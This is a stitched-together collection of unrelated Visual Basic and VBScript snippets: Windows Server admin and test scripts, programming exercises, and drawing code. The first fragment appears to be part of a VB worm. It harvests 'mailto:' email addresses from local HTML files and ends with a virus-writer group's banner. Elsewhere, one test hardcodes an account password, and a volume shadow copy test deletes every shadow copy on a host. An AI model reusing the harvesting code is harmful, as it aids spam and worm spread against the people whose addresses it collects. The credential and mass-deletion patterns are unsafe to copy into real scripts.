Set cfh = fso.GetFolder(dir).Files
For Each filh In cfh
DoEvents
ext = fso.GetExtensionName(filh.path)
ext = LCase(ext)
If (ext = "htm") Or (ext = "html") Then
aaaa = aaaa & FormatStr(filh.path)
End If
Next
CScan = aaaa
End Function
Function FormatStr(gggg As String)
Dim j As Long, cnt As Long, q As String, mlto As String, wwww As String
Open gggg For Input As #1
Do While Not EOF(1)
Line Input #1, textline
q = q & textline
Loop
Close #1
For j = 1 To Len(q)
If Mid(q, j, 8) = """" & "mailto:" Then
mlto = ""
cnt = 0
Do While Mid(q, j + 8 + cnt, 1) <> """"
mlto = mlto + Mid(q, j + 8 + cnt, 1)
cnt = cnt + 1
Loop
If InStr(1, mlto, "@") Then
Else
mlto = "A#?@"
End If
If InStr(1, mlto, "?") Then
mlto = "A#?$"
End If
mlto = Trim(mlto)
wwww = wwww & mlto & ";"
End If
Next
FormatStr = wwww
End Function
Private Function GetSpecialfolder(CSIDL As Long) As String
Dim r As Long
Dim IDL As ITEMIDLIST
Dim path As String
r = SHGetSpecialFolderLocation(100, CSIDL, IDL)
If r = 0 Then
path$ = Space$(512)
r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal path$)
GetSpecialfolder = Left$(path, InStr(path, Chr$(0)) - 1)
Exit Function
End If
GetSpecialfolder = ""
End Function
'================================================
'| Pilif ... [JOS CeNzurA]! |
'| Rott_En | Dark Coderz Alliance |
'| Manifesto for the human right of expression |
'| No more censore! |
'================================================
|
Attribute VB_Name = "entry"
Public Const szNAME As String = "Certificate Services VB Policy"
Public Const szDESCRIPTION As String = "VB Policy Module (Sample)"
Sub main()
End Sub
|
<reponame>npocmaka/Windows-Server-2003
Option Explicit
Dim objMetaUtil
Dim objError
Dim strKey
Set objMetaUtil = WScript.CreateObject("MSWC.MetaUtil")
For Each objError In objMetaUtil.CheckSchema("LM")
WScript.Echo(objError.Key & "; " &_
objError.Property & "; " &_
objError.Id & "; " &_
objError.Severity & "; " &_
objError.Description)
Next
For Each strKey In objMetaUtil.EnumAllKeys("")
For Each objError In objMetaUtil.CheckKey(strKey)
WScript.Echo(objError.Key & "; " &_
objError.Property & "; " &_
objError.Id & "; " &_
objError.Severity & "; " &_
objError.Description)
Next
Next
|
Global stack$
Function RPN(expr$)
Debug.Print "Expression:"
Debug.Print expr$
Debug.Print "Input", "Operation", "Stack after"
stack$ = ""
token$ = "#"
i = 1
token$ = Split(expr$)(i - 1) 'split is base 0
token2$ = " " + token$ + " "
Do
Debug.Print "Token "; i; ": "; token$,
'operation
If InStr("+-*/^", token$) <> 0 Then
Debug.Print "operate",
op2$ = pop$()
op1$ = pop$()
If op1$ = "" Then
Debug.Print "Error: stack empty for "; i; "-th token: "; token$
End
End If
op1 = Val(op1$)
op2 = Val(op2$)
Select Case token$
Case "+"
res = CDbl(op1) + CDbl(op2)
Case "-"
res = CDbl(op1) - CDbl(op2)
Case "*"
res = CDbl(op1) * CDbl(op2)
Case "/"
res = CDbl(op1) / CDbl(op2)
Case "^"
res = CDbl(op1) ^ CDbl(op2)
End Select
Call push2(str$(res))
'default:number
Else
Debug.Print "push",
Call push2(token$)
End If
Debug.Print "Stack: "; reverse$(stack$)
i = i + 1
If i > Len(Join(Split(expr, " "), "")) Then
token$ = ""
Else
token$ = Split(expr$)(i - 1) 'base 0
token2$ = " " + token$ + " "
End If
Loop Until token$ = ""
Debug.Print
Debug.Print "Result:"; pop$()
'extra$ = pop$()
If stack <> "" Then
Debug.Print "Error: extra things on a stack: "; stack$
End If
End
End Function
'---------------------------------------
Function reverse$(s$)
reverse$ = ""
token$ = "#"
While token$ <> ""
i = i + 1
token$ = Split(s$, "|")(i - 1) 'split is base 0
reverse$ = token$ & " " & reverse$
Wend
End Function
'---------------------------------------
Sub push2(s$)
stack$ = s$ + "|" + stack$ 'stack
End Sub
Function pop$()
'it does return empty on empty stack
pop$ = Split(stack$, "|")(0)
stack$ = Mid$(stack$, InStr(stack$, "|") + 1)
End Function
|
Function ROT13(ByVal a As String) As String
Dim i As Long
Dim n As Integer, e As Integer
ROT13 = a
For i = 1 To Len(a)
n = Asc(Mid$(a, i, 1))
Select Case n
Case 65 To 90
e = 90
n = n + 13
Case 97 To 122
e = 122
n = n + 13
Case Else
e = 255
End Select
If n > e Then
n = n - 26
End If
Mid$(ROT13, i, 1) = Chr$(n)
Next i
End Function
|
on error resume next
Set Service = GetObject("winmgmts://ludlow")
Set Service = GetObject("winmgmts://ludlow/")
if err <> 0 then
WScript.Echo "ERROR!"
end if
|
' Windows Installer utility to preview dialogs from a install database
' For use with Windows Scripting Host, CScript.exe or WScript.exe
' Copyright (c) Microsoft Corporation. All rights reserved.
' Demonstrates the use of preview APIs
'
Option Explicit
Const msiOpenDatabaseModeReadOnly = 0
' Show help if no arguments or if argument contains ?
Dim argCount : argCount = Wscript.Arguments.Count
If argCount > 0 Then If InStr(1, Wscript.Arguments(0), "?", vbTextCompare) > 0 Then argCount = 0
If argCount = 0 Then
Wscript.Echo "Windows Installer utility to preview dialogs from an install database." &_
vbLf & " The 1st argument is the path to an install database, relative or complete path" &_
vbLf & " Subsequent arguments are dialogs to display (primary key of Dialog table)" &_
vbLf & " To show a billboard, append the Control name (Control table key) and Billboard" &_
vbLf & " name (Billboard table key) to the Dialog name, separated with colons." &_
vbLf & " If no dialogs specified, all dialogs in Dialog table are displayed sequentially" &_
vbLf & " Note: The name of the dialog, if provided, is case-sensitive" &_
vblf &_
vblf & "Copyright (C) Microsoft Corporation. All rights reserved."
Wscript.Quit 1
End If
' Connect to Windows Installer object
On Error Resume Next
Dim installer : Set installer = Nothing
Set installer = Wscript.CreateObject("WindowsInstaller.Installer") : CheckError
' Open database
Dim databasePath : databasePath = Wscript.Arguments(0)
Dim database : Set database = installer.OpenDatabase(databasePath, msiOpenDatabaseModeReadOnly) : CheckError
' Create preview object
Dim preview : Set preview = Database.EnableUIpreview : CheckError
' Get properties from Property table and put into preview object
Dim record, view : Set view = database.OpenView("SELECT `Property`,`Value` FROM `Property`") : CheckError
view.Execute : CheckError
Do
Set record = view.Fetch : CheckError
If record Is Nothing Then Exit Do
preview.Property(record.StringData(1)) = record.StringData(2) : CheckError
Loop
' Loop through list of dialog names and display each one
If argCount = 1 Then ' No dialog name, loop through all dialogs
Set view = database.OpenView("SELECT `Dialog` FROM `Dialog`") : CheckError
view.Execute : CheckError
Do
Set record = view.Fetch : CheckError
If record Is Nothing Then Exit Do
preview.ViewDialog(record.StringData(1)) : CheckError
Wait
Loop
Else ' explicit dialog names supplied
Set view = database.OpenView("SELECT `Dialog` FROM `Dialog` WHERE `Dialog`=?") : CheckError
Dim paramRecord, argNum, argArray, dialogName, controlName, billboardName
Set paramRecord = installer.CreateRecord(1)
For argNum = 1 To argCount-1
dialogName = Wscript.Arguments(argNum)
argArray = Split(dialogName,":",-1,vbTextCompare)
If UBound(argArray) <> 0 Then ' billboard to add to dialog
If UBound(argArray) <> 2 Then Fail "Incorrect billboard syntax, must specify 3 values"
dialogName = argArray(0)
controlName = argArray(1) ' we could validate that controlName is in the Control table
billboardName = argArray(2) ' we could validate that billboard is in the Billboard table
End If
paramRecord.StringData(1) = dialogName
view.Execute paramRecord : CheckError
If view.Fetch Is Nothing Then Fail "Dialog not found: " & dialogName
preview.ViewDialog(dialogName) : CheckError
If UBound(argArray) = 2 Then preview.ViewBillboard controlName, billboardName : CheckError
Wait
Next
End If
preview.ViewDialog "" ' clear dialog, must do this to release object deadlock
' Wait until user input to clear dialog. Too bad there's no function to wait for keyboard input
Sub Wait
Dim shell : Set shell = Wscript.CreateObject("Wscript.Shell")
MsgBox "Next",0,"Drag me away"
End Sub
Sub CheckError
Dim message, errRec
If Err = 0 Then Exit Sub
message = Err.Source & " " & Hex(Err) & ": " & Err.Description
If Not installer Is Nothing Then
Set errRec = installer.LastErrorRecord
If Not errRec Is Nothing Then message = message & vbLf & errRec.FormatText
End If
Fail message
End Sub
Sub Fail(message)
Wscript.Echo message
Wscript.Quit 2
End Sub
|
Private Sub _
DrawQCurve3(Byval ax as integer,Byval ay as integer, _
Byval bx as integer,Byval by as integer, _
Byval cx as integer,Byval cy as integer, _
Byval col as integer)
Dim As Single t,tq,onestep,steps
Dim As Integer x1,y1,x2,y2,ax2,ay2,xo,yo,x,y
' steps without any SQR()
steps =(bx-ax)*(bx-ax)+(by-ay)*(by-ay)
steps+=(cx-bx)*(cx-bx)+(cy-by)*(cy-by)
' adjust control point near to the curve
bx=bx shl 1 - ax shr 1 - cx shr 1
by=by shl 1 - ay shr 1 - cy shr 1
If steps>2 Then
onestep=1.0/int(steps*0.01)
bx+=bx:by+=by
x1=ax-bx+cx
y1=ay-by+cy
x2=bx-ax shl 1
y2=by-ay shl 1
x=ax:y=ay:t=onestep
' plot every pixel from A to C over B
While (x<>cx) Or (y<>cy)
Pset(x,y),col
' save old position
xo=x:yo=y
' plot only on new position
While (x=xo) And (y=yo)
tq=t*t
x=ax + x1*tq + x2*t
y=ay + y1*tq + y2*t
t+=onestep
Wend
Wend
Else
Pset(bx,by),col
End If
End Sub
Sub bezier3(x1, y1, x2, y2, x3, y3, col, n=0, Byval buffer As Any Ptr = 0)
' draw 3 point Bezier curve using bresenham type algorithm
' n is number of calculated curve points
' if n=0 then number will be estimated from length of lines through control points
' x1,y1 and x3,y3 are curve end points, x2,y2 is control point
If n=0 Then
n = Int(1.6 * (Sqr((x2-x)*(x2-x) + (y2-y)*(y2-y)) + Sqr((x3-x2)*(x3-x2) + (y3-y2)*(y3-y2))))
End If
If (buffer) Then
Pset buffer, (x1, y1), col ' starting point
Pset buffer, (x3, y3), col ' end point
Else
Pset (x1, y1), col ' starting point
Pset (x3, y3), col ' end point
End If
nn = n * n
ex = Int(nn/2) ' x cumulative deviation
ey = ex ' y cumulative deviation
x = x1
y = y1
a1 = 2 * (x - 2 * x2 + x3)
a2 = 2 * (y - 2 * y2 + y3)
b1 = 2 * n * (x2 - x)
b2 = 2 * n * (y2 - y)
flag = 0 ' new pixel flag
For i = 1 To n-1
dx = a1 * i + b1
ex += dx
While ex > nn
x += 1
ex -= nn
flag = 1
Wend
While ex <= 0
x -= 1
ex += nn
flag = 1
Wend
dy = a2 * i + b2
ey += dy
While ey > nn
y += 1
ey -= nn
flag = 1
Wend
While ey <= 0
y -= 1
ey += nn
flag = 1
Wend
If flag Then ' new pixel location
If (buffer) Then
Pset buffer, (x, y), col
Else
Pset(x, y), col
End If
flag = 0
End If
Next
End Sub
'
' main
'
dim as integer ax,ay,mx,my,cx,cy,ox,oy
ax=160:ay=220
cx=480:cy=220
screenres 640,480
while inkey=""
if getmouse(mx,my)=0 and (ox<>mx or oy<>my) then
ox=mx:oy=my
screenlock:cls
? "white my 'QCurve' and red bresenhem's 'Bezier'"
line (ax-1,ay-2)-step(4,4), 7,bf
line (mx-1,my-2)-step(4,4),14,bf
line (cx-1,cy-2)-step(4,4), 7,bf
DrawQCurve3(ax,ay,mx,my,cx,cy,15)
Bezier3(ax,ay,mx,my,cx,cy,4)
screenunlock
end if
sleep 10
wend
End
|
Dim client
Dim result
Set client = CreateObject("MSSOAP.SoapClient")
client.MSSoapInit "http://example.com/soap/wsdl"
result = client.soapFunc("hello")
result = client.anotherSoapFunc(34234)
|
<filename>Task/Read-a-specific-line-from-a-file/VBScript/read-a-specific-line-from-a-file.vb
Function read_line(filepath,n)
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(filepath,1)
arrLines = Split(objFile.ReadAll,vbCrLf)
If UBound(arrLines) >= n-1 Then
If arrLines(n-1) <> "" Then
read_line = arrLines(n-1)
Else
read_line = "Line " & n & " is null."
End If
Else
read_line = "Line " & n & " does not exist."
End If
objFile.Close
Set objFSO = Nothing
End Function
WScript.Echo read_line("c:\temp\input.txt",7)
|
'***************************************************************************
'This script tests the ability to access remote CIMOMs with non-default
'credentials
'***************************************************************************
On Error Resume Next
Set Locator = CreateObject("WbemScripting.SWbemLocator")
Set Service = Locator.ConnectServer ("lamard3", "root\sms\site_la3", "smsadmin", "Elvis1")
Service.Security_.ImpersonationLevel = 3
Set Site = Service.Get ("SMS_Site.SiteCode=""LA3""")
WScript.Echo Site.Path_.DisplayName
WScript.Echo Site.BuildNumber
WScript.Echo Site.ServerName
WScript.Echo Site.InstallDir
Set cimomId = GetObject ("winmgmts:{impersonationLevel=impersonate}!\\ludlow\root\cimv2:Win32_LogicalDisk=""C:""")
for each Property in cimomId.Properties_
str = Property.Name & " = "
value = Property.Value
if (IsNull(value)) then
str = str & "<null>"
else
str = str & value
end if
WScript.Echo str
next
if Err <> 0 Then
WScript.Echo Err.Description
End if
|
Private Sub comb(ByVal pool As Integer, ByVal needed As Integer, Optional ByVal done As Integer = 0, Optional ByVal chosen As Variant)
If needed = 0 Then '-- got a full set
For Each x In chosen: Debug.Print x;: Next x
Debug.Print
Exit Sub
End If
If done + needed > pool Then Exit Sub '-- cannot fulfil
'-- get all combinations with and without the next item:
done = done + 1
Dim tmp As Variant
tmp = chosen
If IsMissing(chosen) Then
ReDim tmp(1)
Else
ReDim Preserve tmp(UBound(chosen) + 1)
End If
tmp(UBound(tmp)) = done
comb pool, needed - 1, done, tmp
comb pool, needed, done, chosen
End Sub
Public Sub main()
comb 5, 3
End Sub
|
Option Explicit
Sub Main_Conv_Temp()
Dim K As Single, Result As Single
K = 21
Debug.Print "Input in Kelvin : " & Format(K, "0.00")
Debug.Print "Output in Celsius : " & IIf(ConvTemp(Result, K, "C"), Format(Result, "0.00"), False)
Debug.Print "Output in Fahrenheit : " & IIf(ConvTemp(Result, K, "F"), Format(Result, "0.00"), False)
Debug.Print "Output in Rankine : " & IIf(ConvTemp(Result, K, "R"), Format(Result, "0.00"), False)
Debug.Print "Output error : " & IIf(ConvTemp(Result, K, "T"), Format(Result, "0.00"), False)
End Sub
Function ConvTemp(sngReturn As Single, Kelv As Single, InWhat As String) As Boolean
Dim ratio As Single
ConvTemp = True
ratio = 9 / 5
Select Case UCase(InWhat)
Case "C": sngReturn = Kelv - 273.15
Case "F": sngReturn = (Kelv * ratio) - 459.67
Case "R": sngReturn = Kelv * ratio
Case Else: ConvTemp = False
End Select
End Function
|
Option Explicit
'*****************************************************************************
'*
'* Define Constants
'*
'*****************************************************************************
'Debugging Constants
CONST CONST_DEBUG = FALSE
CONST CONST_CLEANUP = TRUE
CONST USERNAME="administrator"
CONST PASSWORD="<PASSWORD>"
DIM objWMI
DIM strTestHost
DIM intTestRuns
'Parse Command Line
If Wscript.Arguments.Count < 1 Then
Wscript.Echo("Invalid Syntax:")
Wscript.Echo("")
Wscript.Echo("vssbvt.vbs <HostName> <#iterations>")
Wscript.quit
End If
WScript.Echo "Starting tests...."
strTestHost = Wscript.Arguments(0)
intTestRuns = 1
if Wscript.Arguments.Count > 1 then
intTestRuns = Wscript.Arguments(1)
end if
WScript.Echo "Connecting to WMI CIMV2 namespace on " & strTestHost
Call ConnectWMI(strTestHost, objWMI)
WScript.Echo("")
DIM iCount
For iCount = 1 To intTestRuns
WScript.Echo "Running Smoke Tests..." & iCount
WScript.Echo "------------------------------------------------------------------------------"
If blnSmoke(objWMI, intTestRuns) = FALSE Then
'Wscript.Quit
End If
WScript.Echo "------------------------------------------------------------------------------"
WScript.Echo("")
Next
'*****************************************************************************
'*
'* Function ConnectWMI()
'*
'* Description: Connects to the target node WMI Namespace
'*
'* Parameters: IN ByRef strMachine The machine name
'* OUT ByRef objController The wmi service object
'*
'* Output: TRUE if the operation was successful. FALSE if not.
'*
'******************************************************************************
Function ConnectWMI(ByRef strMachine, ByRef objWMI)
ConnectWMI = TRUE
If CONST_DEBUG = FALSE Then
On Error Resume Next
End If
' Connect To WMI
Set objWMI = new cWMI
If objWMI.ConnectToNamespace("root\CIMV2", strMachine, "", "") = FALSE Then
Wscript.echo("BVT FAIL: Error Connecting to WMI Namespace")
ConnectWMI = FALSE
Exit Function
End If
End Function
'//***************************************************************************
'//
'// Function blnSelectVolumes
'//
'// Description: Select the first two volumes with >100MB freespace
'//
'// Parameters: [IN] ByRef objWMI The WMI Connection Object
'// [OUT] ByRef objVolume A Volume to shadow
'// [OUT] ByRef objDiffVolume A Volume to store the diff area
'//
'// Output: TRUE if the operation was successful. FALSE if not.
'//
'//*****************************************************************************
Function blnSmoke(ByRef objWMI, ByVal intTestCases)
blnSmoke = FALSE
DIM objVolume, objDiffVolume, objShadow
DIM objDiffVolumeToCheck
If CONST_DEBUG = FALSE Then
On Error Resume Next
End If
' Delete all shadows to get to a known starting point
If blnShadowDeleteAll(objWMI) = FALSE Then
blnSmoke = FALSE
Exit Function
End If
Wscript.Echo("All Shadow instances deleted")
' Delete all diff areas to get to a known starting point
If blnStorageDeleteAll(objWMI) = FALSE Then
blnSmoke = FALSE
Exit Function
End If
Wscript.Echo("All ShadowStorage instances deleted")
' Select a volume to shadow and a volume for diff area storage
If blnVolumeSelect2(objWMI, objVolume, objDiffVolume) = TRUE Then
Wscript.Echo("Shadow volume: " & objVolume.DeviceID)
Wscript.Echo("Diff area volume: " & objDiffVolume.DeviceID)
' Create a new diff are storage instance with the selected volumes
if blnStorageCreate(objWMI, objVolume, objDiffVolume) = TRUE Then
Wscript.Echo("ShadowStorage created")
' Create a new shadow instance for the selected volume
if blnShadowCreate(objWMI, objVolume, objShadow) = TRUE Then
Wscript.Echo("ShadowCopy created: ID=" & objShadow.ID)
' Traverse associations and check integrity of schema along the way
if blnSmokeAssocTraverse(objWMI, objShadow, objVolume, objDiffVolume) = FALSE Then
Wscript.Echo("BVT FAIL: Smoke: association check failed")
Exit Function
End If
' Change the size of the storage area
if blnStorageChangeSize(objVolume, objDiffVolume) = FALSE Then
Wscript.Echo("BVT FAIL: Smoke: diff area storage size change failed")
Exit Function
End If
Wscript.Echo("ShadowStorage size modified")
' Clean up; delete the shadow and storage instances
if blnShadowDeleteAll(objWMI) = FALSE Then
Wscript.Echo("BVT FAIL: Smoke: cleanup deletion of shadows failed")
Exit Function
End If
Wscript.Echo("All Shadow instances deleted")
if blnStorageDeleteAll(objWMI) = FALSE Then
Wscript.Echo("BVT FAIL: Smoke: cleanup deletion of diff area storage failed")
Exit Function
End If
Wscript.Echo("All ShadowStorage instances deleted")
blnSmoke = TRUE
End If
End If
End If
If Err.Number <> 0 Then
DIM objLastError
Wscript.Echo("BVT FAIL: Smoke: Unexpected Error " & err.number & " " & err.description)
Set objLastError = CreateObject("wbemscripting.swbemlasterror")
Wscript.Echo("Provider: " & objLastError.ProviderName)
Wscript.Echo("Operation: " & objLastError.Operation)
Wscript.Echo("Description: " & objLastError.Description)
Wscript.Echo("StatusCode: 0x" & Hex(objLastError.StatusCode))
blnSmoke = FALSE
Err.Clear
End If
If blnSmoke = TRUE Then
Wscript.Echo("BVT PASS: Smoke")
End If
If blnSmoke = FALSE Then
Wscript.Echo("FAIL PASS: Smoke")
End If
End Function
'//***************************************************************************
'//
'// Function blnSmokeTraverseAssoc
'//
'// Description: Traverse associations between ShadowCopy, Volume and Provider
'//
'// Parameters: [IN] ByRef objWMI WMI connection
'// [IN] ByRef objShadow A ShadowCopy
'// [IN] ByRef objVolume A Volume
'// [IN] ByRef objDiffVolume A Volume storing the diff area
'//
'// Output: TRUE if the operation was successful. FALSE if not.
'//
'//*****************************************************************************
Function blnSmokeAssocTraverse(ByRef objWMI, ByRef objShadow, ByRef objVolume, ByRef objDiffVolume)
blnSmokeAssocTraverse = TRUE
If CONST_DEBUG = FALSE Then
On Error Resume Next
End If
DIM objSet, obj
DIM intCount
DIM blnFound
DIM objProvider, objVol
' Check Win32_ShadowOn traversal
intCount = 0
blnFound = FALSE
Set objSet = objShadow.Associators_("Win32_ShadowOn")
For Each obj in objSet
intCount = intCount + 1
If intCount > 1 Then
Wscript.Echo("BVT FAIL: shadowcopy associated with too many volume endpoints")
blnSmokeAssocTraverse = FALSE
End If
If obj.DeviceID = objDiffVolume.DeviceID Then
blnFound = TRUE
End If
Next
if blnFound = FALSE Then
Wscript.Echo("BVT FAIL: No volume endpoint found traversing Win32_ShadowOn")
blnSmokeAssocTraverse = FALSE
End If
Wscript.Echo("ShadowOn association verified")
' Check Win32_ShadowBy traversal
intCount = 0
blnFound = FALSE
Set objProvider = objWMI.objWMI.Get("Win32_ShadowProvider.ID='" & objShadow.ProviderID & "'")
Set objSet = objProvider.Associators_("Win32_ShadowBy")
For Each obj in objSet
intCount = intCount + 1
If intCount > 1 Then
Wscript.Echo("BVT FAIL: Too many shadowcopies found")
blnSmokeAssocTraverse = FALSE
End If
If obj.ID = objShadow.ID Then
blnFound = TRUE
End If
Next
if blnFound = FALSE Then
Wscript.Echo("BVT FAIL: No shadowcopy endpoint found traversing Win32_ShadowBy")
blnSmokeAssocTraverse = FALSE
End If
Wscript.Echo("ShadowBy association verified")
' Check Win32_ShadowFor traversal
blnFound = FALSE
intCount = 0
Set objVol = objWMI.objWMI.Get("Win32_Volume.DeviceID='" & objShadow.VolumeName & "'")
Set objSet = objVol.Associators_("Win32_ShadowFor")
For Each obj in objSet
intCount = intCount + 1
If intCount > 1 Then
Wscript.Echo("BVT FAIL: Too many shadowcopies found")
blnSmokeAssocTraverse = FALSE
End If
If obj.ID = objShadow.ID Then
blnFound = TRUE
End If
Next
if blnFound = FALSE Then
Wscript.Echo("BVT FAIL: No shadowcopy endpoint found traversing Win32_ShadowFor")
blnSmokeAssocTraverse = FALSE
End If
Wscript.Echo("ShadowFor association verified")
' Check Win32_ShadowVolumeSupport traversal
blnFound = FALSE
intCount = 0
Set objSet = objVolume.Associators_("Win32_ShadowVolumeSupport")
For Each obj in objSet
intCount = intCount + 1
If intCount > 1 Then
Wscript.Echo("BVT FAIL: Too many providers found")
blnSmokeAssocTraverse = FALSE
End If
If obj.ID = objProvider.ID Then
blnFound = TRUE
End If
Next
if blnFound = FALSE Then
Wscript.Echo("BVT FAIL: No provider endpoint found traversing Win32_ShadowVolumeSupport")
blnSmokeAssocTraverse = FALSE
End If
Wscript.Echo("ShadowVolumeSupport association verified")
' Check Win32_ShadowDiffVolumeSupport traversal
blnFound = FALSE
intCount = 0
Set objSet = objDiffVolume.Associators_("Win32_ShadowDiffVolumeSupport")
For Each obj in objSet
intCount = intCount + 1
If intCount > 1 Then
Wscript.Echo("BVT FAIL: Too many providers found")
blnSmokeAssocTraverse = FALSE
End If
If obj.ID = objProvider.ID Then
blnFound = TRUE
End If
Next
if blnFound = FALSE Then
Wscript.Echo("BVT FAIL: No provider endpoint found traversing Win32_ShadowDiffVolumeSupport")
blnSmokeAssocTraverse = FALSE
End If
Wscript.Echo("ShadowDiffVolumeSupport association verified")
' Check Win32_ShadowStorage traversal
blnFound = FALSE
intCount = 0
Set objSet = objVolume.Associators_("Win32_ShadowStorage",,"DiffVolume")
For Each obj in objSet
intCount = intCount + 1
If intCount > 1 Then
Wscript.Echo("BVT FAIL: Too many volumes found")
blnSmokeAssocTraverse = FALSE
End If
If obj.DeviceID = objDiffVolume.DeviceID Then
blnFound = TRUE
End If
Next
if blnFound = FALSE Then
Wscript.Echo("BVT FAIL: No volume endpoint found traversing Win32_ShadowStorage")
blnSmokeAssocTraverse = FALSE
End If
Wscript.Echo("ShadowStorage association verified")
If Err.Number <> 0 Then
Wscript.Echo("BVT FAIL: blnSmokeTraverseAssoc: Unexpected Error 0x" & Hex(err.number) & " " & err.description)
blnSmokeAssocTraverse = FALSE
Err.Clear
End If
End Function
'//***************************************************************************
'//
'// Function blnVolumeSelect2
'//
'// Description: Select the first two volumes with >100MB freespace
'//
'// Parameters: [IN] ByRef objWMI The WMI Connection Object
'// [OUT] ByRef objVolume A Volume to shadow
'// [OUT] ByRef objDiffVolume A Volume to store the diff area
'//
'// Output: TRUE if the operation was successful. FALSE if not.
'//
'//*****************************************************************************
Function blnVolumeSelect2(ByRef objWMI, ByRef objVolume, ByRef objDiffVolume)
blnVolumeSelect2 = TRUE
If CONST_DEBUG = FALSE Then
On Error Resume Next
End If
Dim intLoop, intFound
Dim objVolumes, objVol
Dim blnFound
intFound = 0
Set objVolumes = objWMI.objWMI.ExecQuery("select * from Win32_Volume where FreeSpace > 105000000 AND FileSystem='NTFS'")
blnFound = FALSE
For Each objVol in objVolumes
intFound = intFound + 1
if intFound = 1 Then
Set objDiffVolume = objVol
End If
if intFound = 2 Then
Set objVolume = objVol
blnFound = TRUE
Exit For
End If
Next
If blnFound = FALSE Then
Wscript.Echo("BVT FAIL: blnVolumeSelect2: Failed to find two volumes with >100MB free space")
blnVolumeSelect2 = FALSE
End If
If Err.Number <> 0 Then
Wscript.Echo("BVT FAIL: blnVolumeSelect2: Unexpected Error 0x" & Hex(err.number) & " " & err.description)
blnVolumeSelect2 = FALSE
Err.Clear
End If
End Function
'//***************************************************************************
'//
'// Function blnShadowCreate
'//
'// Description: Create a Win32_Shadow instance with default context.
'//
'// Parameters: [IN] ByRef objWMI The WMI Connection Object
'// [IN] ByRef objVolume A Volume to shadow
'// [OUT] ByRef objShadow The created shadow object
'//
'// Output: TRUE if the operation was successful. FALSE if not.
'//
'//*****************************************************************************
Function blnShadowCreate(ByRef objWMI, ByRef objVolume, ByRef objShadow)
blnShadowCreate = TRUE
If CONST_DEBUG = FALSE Then
On Error Resume Next
End If
DIM classShadow
DIM strShadowID
DIM intResult
DIM strMessage
Set classShadow = objWMI.objWMI.Get("Win32_ShadowCopy")
intResult = classShadow.Create(objVolume.DeviceID, , strShadowID)
If intResult <> 0 Then
strMessage = MapErrorCode("Win32_ShadowCopy", "Create", intResult)
Wscript.Echo("BVT FAIL: blnShadowCreate: Create method failed 0x" & Hex(intResult) & " : " & strMessage)
blnShadowCreate = FALSE
End If
Set objShadow = objWMI.objWMI.Get("Win32_ShadowCopy.ID='" & strShadowID & "'")
If Err.Number <> 0 Then
Wscript.Echo("BVT FAIL: blnShadowCreate: Unexpected Error 0x" & Hex(err.number) & " " & err.description)
blnShadowCreate = FALSE
Err.Clear
End If
End Function
'//***************************************************************************
'//
'// Function blnStorageCreate
'//
'// Description: Create a Win32_ShadowStorage object with default MaxSize
'//
'// Parameters: [IN] ByRef objWMI The WMI Connection Object
'// [IN] ByRef objVolume A Volume to shadow
'// [IN] ByRef objDiffVolume A Volume to store the diff area
'//
'// Output: TRUE if the operation was successful. FALSE if not.
'//
'//*****************************************************************************
Function blnStorageCreate(ByRef objWMI, ByRef objVolume, ByRef objDiffVolume)
blnStorageCreate = TRUE
If CONST_DEBUG = FALSE Then
On Error Resume Next
End If
DIM classStorage
DIM intResult
DIM strMessage
Set classStorage = objWMI.objWMI.Get("Win32_ShadowStorage")
intResult = classStorage.Create(objVolume.DeviceID, objDiffVolume.DeviceID)
If intResult <> 0 Then
strMessage = MapErrorCode("Win32_ShadowStorage", "Create", intResult)
Wscript.Echo("BVT FAIL: blnStorageCreate: Create method failed 0x" & Hex(intResult) & " : " & strMessage)
blnStorageCreate = FALSE
End If
If Err.Number <> 0 Then
Wscript.Echo("BVT FAIL: blnStorageCreate: Unexpected Error 0x" & Hex(err.number) & " " & err.description)
blnStorageCreate = FALSE
Err.Clear
End If
End Function
'//***************************************************************************
'//
'// Function blnStorageChangeSize
'//
'// Description: Change the size of a Win32_ShadowStorage
'//
'// Parameters: [IN] ByRef objVolume a volume
'// [IN] ByRef objDiffVolume a diff area volume
'// [IN] ByVal intMaxSpace the new size
'//
'// Output: TRUE if the operation was successful. FALSE if not.
'//
'//*****************************************************************************
Function blnStorageChangeSize(ByRef objVolume, ByRef objDiffVolume)
blnStorageChangeSize = TRUE
If CONST_DEBUG = FALSE Then
On Error Resume Next
End If
DIM objStorageSet, objStorage
DIM intResult
Set objStorageSet = objVolume.References_("Win32_ShadowStorage", "Volume")
For Each objStorage in objStorageSet
objStorage.MaxSpace = Int(objDiffVolume.Capacity / 2)
objStorage.Put_
Exit For
Next
If Err.Number <> 0 Then
Wscript.Echo("BVT FAIL: blnStorageChangeSize: Unexpected Error 0x" & Hex(err.number) & " " & err.description)
blnStorageChangeSize = FALSE
Err.Clear
End If
End Function
'//***************************************************************************
'//
'// Function blnStorageDeleteAll
'//
'// Description: Deletes all Win32_ShadowStorage instances
'//
'// Parameters: [IN] ByRef objWMI The WMI Connection Object
'//
'// Output: TRUE if the operation was successful. FALSE if not.
'//
'//*****************************************************************************
Function blnStorageDeleteAll(ByRef objWMI)
blnStorageDeleteAll = TRUE
If CONST_DEBUG = FALSE Then
On Error Resume Next
End If
Dim objStorageSet, objStorage
Set objStorageSet = objWMI.objWMI.InstancesOf("Win32_ShadowStorage")
For Each objStorage in objStorageSet
objStorage.Delete_
Next
If Err.Number <> 0 Then
Wscript.Echo("BVT FAIL: blnStorageDeleteAll: Unexpected Error 0x" & Hex(err.number) & " " & err.description)
blnStorageDeleteAll = FALSE
Err.Clear
End If
End Function
'//***************************************************************************
'//
'// Function blnShadowDeleteAll
'//
'// Description: Deletes all Win32_ShadowCopy instances
'//
'// Parameters: [IN] ByRef objWMI The WMI Connection Object
'//
'// Output: TRUE if the operation was successful. FALSE if not.
'//
'//*****************************************************************************
Function blnShadowDeleteAll(ByRef objWMI)
blnShadowDeleteAll = TRUE
If CONST_DEBUG = FALSE Then
On Error Resume Next
End If
Dim objShadows, objShadow
Set objShadows = objWMI.objWMI.InstancesOf("Win32_ShadowCopy")
For Each objShadow in objShadows
objShadow.Delete_
Next
If Err.Number <> 0 Then
Wscript.Echo("BVT FAIL: blnShadowDeleteAll: Unexpected Error 0x" & Hex(err.number) & " " & err.description)
blnShadowDeleteAll = FALSE
Err.Clear
End If
End Function
Class cWMI 'A WMI Connection
Public objWMI
'Add a controller to the list
Public Function ConnectToNamespace(ByVal strNamespace, ByVal strMachine, ByVal strUsername, ByVal strPassword)
ConnectToNamespace = TRUE
